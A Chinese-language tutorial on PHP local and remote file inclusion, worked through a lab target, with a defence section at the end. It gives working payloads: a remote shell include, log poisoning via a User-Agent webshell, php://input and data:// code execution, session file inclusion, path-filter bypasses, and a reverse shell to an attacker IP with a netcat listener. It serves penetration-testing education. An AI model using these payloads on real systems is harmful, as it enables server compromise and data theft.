Web安全实战:从文件包含漏洞到远程代码执行(RFI/LFI攻击链深度解析)
如果你是一名Web安全工程师,或者正在学习渗透测试,那么“文件包含”这个漏洞你一定不陌生。它不像SQL注入那样直接,也不像XSS那样直观,但它的危害性却常常被低估。很多人以为文件包含只是“读取本地文件”,但实际上,它是一扇通往服务器内部的后门,轻则泄露源码、配置文件,重则配合其他漏洞实现远程代码执行,直接拿下服务器权限。
今天这篇文章,我们不谈宽泛的理论,而是聚焦于一个更隐蔽、更危险的变种:远程文件包含(RFI)。我们将通过一个实战靶场环境(青岑网安Web文件包含-3),彻底拆解RFI的攻击原理、利用条件、绕过手法以及最关键的——防御之道。你会发现,仅仅禁用allow_url_include是远远不够的。
读完本文,你将能:
- 透彻理解本地文件包含(LFI)与远程文件包含(RFI)的本质区别与联系。
- 亲手实践在受控靶场中,从信息泄露到获取WebShell的完整攻击链。
- 掌握多种针对过滤和限制的绕过技巧(如协议利用、日志污染、Session文件包含)。
- 建立一套从代码层到配置层的立体防御思路,而不仅仅是记住几个安全函数。
1. 文件包含漏洞:被低估的“内鬼”
在深入远程文件包含之前,我们必须先统一认知:文件包含漏洞到底是什么?它为什么危险?
简单来说,文件包含是指程序在引入外部文件时,未对用户输入进行严格过滤,导致攻击者可以控制包含的文件路径。这主要发生在使用如PHP的include、require、include_once、require_once等函数时。
它的危害远不止“读取文件”:
- 敏感信息泄露:读取
/etc/passwd、数据库配置文件、源码文件等。 - 配合上传漏洞获取WebShell:上传一个图片马,然后通过文件包含执行其中的PHP代码。
- 远程代码执行(RCE):在满足RFI条件时,直接包含远程服务器上的恶意脚本。
- 攻击面扩大:作为跳板,读取服务器上的其他敏感文件,或进行内网探测。
很多人容易混淆LFI和RFI:
- LFI (Local File Inclusion):只能包含服务器本地的文件。危害相对可控,但结合其他漏洞(如文件上传、日志写入)可以升级为RCE。
- RFI (Remote File Inclusion):可以直接包含远程URL(如
http://evil.com/shell.txt)上的文件,并将其内容作为代码执行。这是最直接的RCE方式。
一个核心判断:RFI的利用条件比LFI苛刻得多,但一旦成功,危害是立竿见影的。而现代PHP环境的默认配置正在让RFI变得越来越难,但这绝不意味着我们可以忽视它。攻击者总会找到那些配置不当或使用了危险函数的“薄弱环节”。
2. 靶场环境搭建与核心概念
为了进行安全的实战学习,我们使用“青岑网安Web文件包含-3”这个靶场(或类似的自建环境)。请务必在虚拟机或隔离的测试环境中进行所有操作,切勿对任何未授权的真实系统进行测试。
2.1 环境准备
- 操作系统: Kali Linux 或 Ubuntu(用于攻击机),或使用集成了Web服务和漏洞的靶机(如DVWA、Web for Pentester)。
- Web服务: Apache / Nginx。
- PHP版本: 建议5.x 或 7.x(某些老版本特性有助于理解漏洞演变)。关键配置:为了演示RFI,我们需要在
php.ini中开启两个选项(仅在测试环境!):
在生产环境中,allow_url_fopen = On allow_url_include = Onallow_url_include必须为Off。 - 靶场代码(示例,模拟漏洞场景): 假设存在一个脆弱的PHP文件
vuln.php:
另一个用于演示日志污染的文件<?php // vuln.php - 存在文件包含漏洞 $file = $_GET['file']; // 未经过滤的用户输入 include($file . '.php'); // 动态包含文件,并添加了.php后缀 ?>index.php:<?php // index.php - 正常业务页面 echo "Welcome to the vulnerable site!"; ?>
2.2 核心原理深度解析
为什么include一个远程URL会导致代码执行? 这源于PHP的设计:当allow_url_include开启时,include、require等函数不仅接受本地文件路径,也接受诸如http://、ftp://等URL包装器(Wrapper)。PHP会通过HTTP/FTP协议去获取该URL的内容,然后将获取到的内容当作PHP代码来解析和执行。
关键点:被包含文件的内容会被执行,而不是显示。所以,如果http://evil.com/shell.txt的内容是<?php phpinfo(); ?>,那么包含这个URL就等同于在目标服务器上执行了phpinfo()。
3. 实战攻击链拆解:从LFI到RCE
我们假设靶场环境同时存在文件包含和文件上传点,或者存在日志记录功能。这是非常经典的组合拳。
3.1 第一阶段:基础LFI与敏感信息探测
首先,测试漏洞是否存在。
http://target/vuln.php?file=../../../../etc/passwd如果成功返回了系统用户列表,说明存在LFI漏洞。接下来,我们可以尝试读取Web应用的敏感文件:
- 配置文件:
../../var/www/html/config.php - PHP自身信息: 使用
php://filter包装器读取源码(这是LFI中极其重要的技巧):
这里利用http://target/vuln.php?file=php://filter/convert.base64-encode/resource=vuln.phpphp://filter对vuln.php本身进行Base64编码后读取,可以绕过一些显示限制,拿到源码后解码分析。
3.2 第二阶段:尝试直接RFI
直接测试RFI是否可行。我们在攻击机上(IP: 192.168.1.100)创建一个内容为<?php echo “RFI Success!”; ?>的文本文件test.txt,并用Python启动一个简单的HTTP服务:
# 在攻击机上 echo '<?php echo "RFI Success!"; ?>' > shell.txt python3 -m http.server 8080然后尝试包含它:
http://target/vuln.php?file=http://192.168.1.100:8080/shell.txt如果页面显示了“RFI Success!”,恭喜你(也是不幸的),RFI直接利用成功。这意味着服务器配置极其危险。
但更常见的情况是失败,因为靶场或生产环境通常禁用了allow_url_include。你会看到类似“URL file-access is disabled”的警告。
3.3 第三阶段:利用LFI向RFI升级——日志文件包含
当直接RFI被禁用时,攻击者不会放弃。一个经典的方法是“日志文件包含攻击”。
原理:Web服务器(如Apache)会将所有访问请求记录在日志文件中(如/var/log/apache2/access.log)。如果我们在User-Agent或请求路径中插入PHP代码,这段代码就会被原样写入日志文件。然后,我们利用LFI漏洞去包含这个日志文件,服务器就会执行我们写入的代码。
攻击步骤:
- 污染日志:使用curl或Burp Suite发送一个特殊的请求,将PHP代码注入到User-Agent头中。
这条命令访问了# 在攻击机上执行 curl -A "<?php system(\$_GET['cmd']); ?>" http://target/index.php,但User-Agent被替换成了我们的WebShell代码。 - 包含日志文件:利用LFI漏洞,包含Apache的访问日志。
如果成功,你会看到一长串日志内容,其中包含我们注入的代码。http://target/vuln.php?file=../../../../var/log/apache2/access.log - 执行命令:现在,日志文件已经被我们“污染”,它变成了一个存储在我们标服务器上的“恶意PHP文件”。我们再次包含它,并通过
cmd参数传递系统命令。
如果一切顺利,页面将返回http://target/vuln.php?file=../../../../var/log/apache2/access.log&cmd=iduid=33(www-data) gid=33(www-data) groups=33(www-data)这样的命令执行结果。
关键点:这种方法成功的关键在于:
- 你知道日志文件的绝对路径(需要探测)。
- Web进程(如www-data用户)有权限读取该日志文件。
- 日志文件中没有特殊字符被转义(通常不会)。
3.4 第四阶段:利用PHP内置包装器(Wrapper)绕过限制
即使不能包含远程URL,PHP内置的一些包装器也能帮我们“创造”执行代码的条件。除了上面用到的php://filter用于读取,还有php://input和data://。
1. 使用php://input执行POST代码php://input允许你读取原始的POST数据。如果allow_url_include是Off,但allow_url_fopen是On(更常见的配置),且目标服务器没有禁用php://input,则可以尝试。
# 请求示例 (使用curl) curl -X POST "http://target/vuln.php?file=php://input" --data "<?php phpinfo(); ?>"这个请求会将POST数据<?php phpinfo(); ?>作为文件内容传递给include函数,从而被执行。
2. 使用data://协议直接嵌入代码data://协议允许在URL中直接嵌入Base64编码的数据。
http://target/vuln.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==其中PD9waHAgcGhwaW5mbygpOyA/Pg==是<?php phpinfo(); ?>的Base64编码。这相当于在参数里直接携带了一个可执行的文件,完全绕过了对远程URL的依赖。
注意:data://协议的使用通常也受到allow_url_include设置的影响,但在某些特定配置或版本下可能存在利用空间。
4. 完整攻击示例:获取反向Shell
理论讲完,我们来一个完整的、贴近实战的示例:通过LFI+日志污染,获取一个反向Shell。
场景:目标存在LFI漏洞 (vuln.php),且我们已知Apache日志路径。
步骤:
- 探测与确认:首先用LFI读取
/etc/passwd确认漏洞。 - 注入WebShell代码:向日志中注入一个更强大的WebShell。
这段代码会尝试连接到攻击机(192.168.1.100)的4444端口,并派生一个交互式shell。curl -A '<?php $sock=fsockopen("192.168.1.100",4444);exec("/bin/sh -i <&3 >&3 2>&3");?>' http://target/ - 在攻击机开启监听:
nc -lvnp 4444 - 触发代码执行:利用LFI包含被污染的日志文件,触发反向连接。
http://target/vuln.php?file=../../../../var/log/apache2/access.log - 查看攻击机终端:如果成功,你会在
nc监听窗口看到来自目标服务器的shell连接。
至此,你已经完成了从文件读取到完全控制服务器的整个攻击链。
5. 常见问题、限制与绕过技巧
在实际渗透中,绝不会一帆风顺。你会遇到各种过滤和限制。
5.1 路径遍历过滤
开发者可能过滤../。
- 双写绕过:
....//-> 被过滤一次后变成../ - 绝对路径: 直接使用
/etc/passwd - 编码绕过: URL编码
../->%2e%2e%2f或..%2f, 甚至双重编码%252e%252e%252f
5.2 后缀限制
像我们靶场代码那样,自动添加.php后缀 (include($file . '.php'))。
- 空字节截断(PHP<5.3):
../../../etc/passwd%00,%00会在字符串处理时截断后面的.php。此方法在PHP高版本已失效。 - 路径长度截断(PHP<5.3, OS限制): 超长文件名可能导致系统截断。
- 利用
php://filter: 包装器后不需要后缀。php://filter/convert.base64-encode/resource=config可以读取config.php。 - 利用目录遍历: 如果包含
uploads/目录下的文件,可以../../../uploads/shell.jpg, 只要shell.jpg内含PHP代码且服务器配置错误(如未正确处理MIME类型),仍可能被解析。
5.3 协议限制
服务器可能禁用php://、data://等包装器。
- 尝试其他包装器:
file://、zip://(结合上传zip包)、phar://(PHP归档,非常强大)。 - 聚焦于日志、Session、环境变量等“本地文件”包含: 这是最可靠的绕过方式。
5.4 Session文件包含
这是另一个高级技巧。PHP的Session数据通常存储在服务器临时目录(如/tmp/sess_[PHPSESSID])的一个文件里。如果攻击者能控制一部分Session数据(例如,某个表单字段会存入$_SESSION),并且知道PHPSESSID,就可以向Session文件写入PHP代码,然后通过LFI包含它。
- 设置Cookie:
PHPSESSID=attacker - 向一个会保存数据到Session的页面提交数据:
username=<?php phpinfo();?> - 猜测或确定Session文件路径:
/tmp/sess_attacker - 包含该文件:
vuln.php?file=../../../tmp/sess_attacker
6. 防御指南:构建多层次防线
防御文件包含漏洞,必须从多个层面着手,形成纵深防御。
6.1 代码层(治本之策)
- 白名单校验:这是最有效的方法。不要使用用户输入直接拼接文件路径。应该使用一个固定的映射数组。
// 错误示范 $page = $_GET['page']; include($page . '.php'); // 正确示范 - 白名单 $allowed_pages = ['home', 'about', 'contact']; $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include($page . '.php'); } else { include('404.php'); } - 避免动态包含:如果业务必须动态包含,请使用
basename()函数去除路径,或严格过滤输入。$file = basename($_GET['file']); // 只能得到文件名,去除了目录遍历 // 但仍需结合白名单,因为basename(‘../../etc/passwd’) 返回 ‘passwd’ - 使用安全的API:考虑使用框架提供的安全视图加载方法。
6.2 配置层(重要加固)
- 关闭危险配置:在
php.ini中,确保:allow_url_fopen = Off # 视业务需求,但关闭更安全 allow_url_include = Off # 必须关闭! - 设置
open_basedir:将PHP可访问的文件限制在Web目录及其子目录下。
这能有效防止读取open_basedir = /var/www/html/etc/passwd等系统文件。 - 限制包装器: 在高安全要求环境中,可以通过
disable_functions或修改PHP源码来禁用php://、data://等危险包装器(需谨慎,可能影响正常功能)。
6.3 系统与运维层
- Web服务器权限最小化:运行Web服务的用户(如www-data)应仅拥有对Web目录的必要读写权限,无权读取系统关键文件。
- 日志文件权限:确保Web用户对日志文件只有追加写入权限,没有读取权限。这可以彻底封堵日志包含攻击。但要注意这可能影响日志分析工具。
- 定期更新与审计:及时更新PHP、Web服务器及应用程序,修复已知漏洞。定期进行代码安全审计。
6.4 安全开发框架与习惯
- 使用具有良好安全实践的现代PHP框架(如Laravel, Symfony),它们通常对文件包含、路径遍历有内置防护。
- 在团队中推行安全编码规范,将“禁止未过滤的动态文件包含”作为红线。
7. 总结与后续学习方向
文件包含漏洞,尤其是其从LFI到RCE的升级路径,生动地展示了“小漏洞大危害”的道理。它考验的不仅是开发者的安全编码意识,更是运维人员的纵深防御配置能力。
通过本次对“青岑网安Web文件包含-3”这类靶场的深度剖析,你应该已经掌握了:
- 攻击视角:如何利用LFI探测信息,如何通过日志/Session污染将其升级为RCE,以及如何绕过常见的过滤限制。
- 防御视角:为什么白名单是唯一可靠的方法,以及如何从代码、配置、系统三层构建防御体系。
后续你可以深入研究:
- PHP包装器的其他妙用(与滥用): 如
zip://、phar://在反序列化漏洞中的利用。 - 文件包含与文件上传的“组合技”: 如何精确上传一个能被包含执行的恶意文件(如图片马)。
- 在现代化框架与应用中挖掘文件包含: 虽然框架提供了防护,但错误的使用方式或自定义组件仍可能引入风险。
- 自动化工具中的利用: 学习如何使用Burp Suite、Sqlmap(其
--file-read参数)等工具自动化探测和利用文件包含漏洞。
安全是一个攻防对抗不断升级的过程。理解攻击链的每一个环节,是我们构建有效防御的最坚实基础。建议你将本文中的靶场环境搭建起来,亲手复现每一个步骤,这远比阅读理论印象更深刻。在确保合法授权的前提下,不断练习,才能将这些知识内化为真正的技能。
